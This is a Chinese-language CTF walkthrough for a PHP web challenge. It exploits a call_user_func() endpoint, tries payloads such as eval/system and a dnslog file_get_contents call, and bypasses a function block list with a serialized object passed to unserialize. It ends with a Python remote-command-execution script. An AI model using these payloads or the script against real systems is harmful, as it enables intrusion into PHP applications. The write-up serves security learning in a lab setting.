零基础详解版
寻找漏洞
打开环境后,过了一段时间出现了一段报错信息。查看网页源码后发现每隔5秒网页会自动提交表单给服务器 ,抓取自动发送的表单发现两个参数:func、p。
根据参数的样式和页面的报错信息可以知道返回结果的时间就是由参数p控制,尝试修改参数p,发现内容发生变化
再尝试修改func
fun=eval&p=system("ls")
fun=assert&p=system("ls")
fun=exec&p=ls
发现都返回了hacker,说明存在防火墙(waf),又测试了很多危险函数基本上都不行(
- System()
- Passthru()
- Exec()
- Shell_exec()
- Pcntl_exec()
- Popen()
- Proc_open()
)
分析漏洞注入点
更换参数:fun=echo&p=shell_exec("ls")
结果返回了一段不一样的报错信息:提示call_user_func()。。。
大概知道了func就是作为回调函数传给该函数,p就是func这个回调函数的参数
使用下面的payload验证猜想:
页面过了一段时间才加载完,说明利用点就是call_user_func()这个函数,接下来需要针对这个函数作处理。
尝试利用漏洞
刚开始想着使用外带数据 ,找了可利用的函数(关键词:可以请求网络资源的php函数),决定使用file_get_contents()。
Payload: fun=file_get_contents&p=http://xxx.dnslog.cn
发现并不能利用,那就直接读index.php的源码
fun=file_get_contents&p=index.php
太狠了,几乎能用的都禁完了,看到这里你会想到如何利用吗
临门一脚
这里再分享我自己看writeup(wp)的方法:
1.大概浏览一下别人的题解,了解中心思想
2.尝试自己去构造,遇到思路混乱的地方一定要静下来(深吸一口气)
3.复现失败不要慌,首先查看自己的方法有没有问题,如果自我感觉没啥问题就去对比wp的步骤
4.看不懂wp的原因有很多,可能是脑子太乱了,也可能是知识储备太贫乏。总之遇到看不懂的wp:
①如果认识大佬就请教大佬解释一下,毕竟熟悉的人和你讲可以考虑你的自身情况,更加易懂。
②其次就是一步一步的走,你可以先放掉这道题,以后来看。也可以查漏补缺,缺啥补啥。
查找资料
作为一个web手小白,当自己已经尽我所能的时候,要学会去搜索。通过搜索可以开拓自己的思维,把好的东西记录下来变成自己的东西。所以说网安小白第一课就是要学会使用搜索引擎。
这题我用了我所有能想到的办法也不能解决,果断的上网搜索资料。
网上查到大佬用的反序列化(太开放了这思维)
大概思路就是先将Test类的参数设置为fun=system&p=ls,序列化后将结果作为请求参数p,fun设置为fun=unserialize
这样就可以绕过匹配数组disable_func中的函数了,是不是很巧妙
尝试利用:
利用总结
到这里就基本上结束了,只需要改动参数p(序列化字符串)和它前面的长度's:2:'就可以了,参数func不作改动(func=unserialize),为了方便我在这里写了一个python脚本来方便构造payload并利用python的BeautifulSoup模块提取主要信息:
import requests
#导入BeautifulSoup4
from bs4 import BeautifulSoup
url="http://a53e2323-536e-45ce-b6d5-780d646f1a0f.node4.buuoj.cn:81/index.php" #url
while True:
payload=input("input:"+"\n")
func="unserialize"
p='O:4:"Test":2:{s:1:"p";s:'+str(len(payload))+':"'+payload+'";s:4:"func";s:6:"system";}'#O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
res=requests.post(url,data={'func':func,'p':p})
html=BeautifulSoup(res.text,"html.parser")
print(html.p.text)
#ls /
#find / -name 'flag*'
#tac /tmp/flagoefiu4r93
由于使用'ls /' 并没有发现flag,所以这里面比较重要的就是使用'find / -name "flag*"'来搜索flag关键词所在的位置
//有兴趣的hacker们,可以找我,平时有问题可以互相分享自己的方法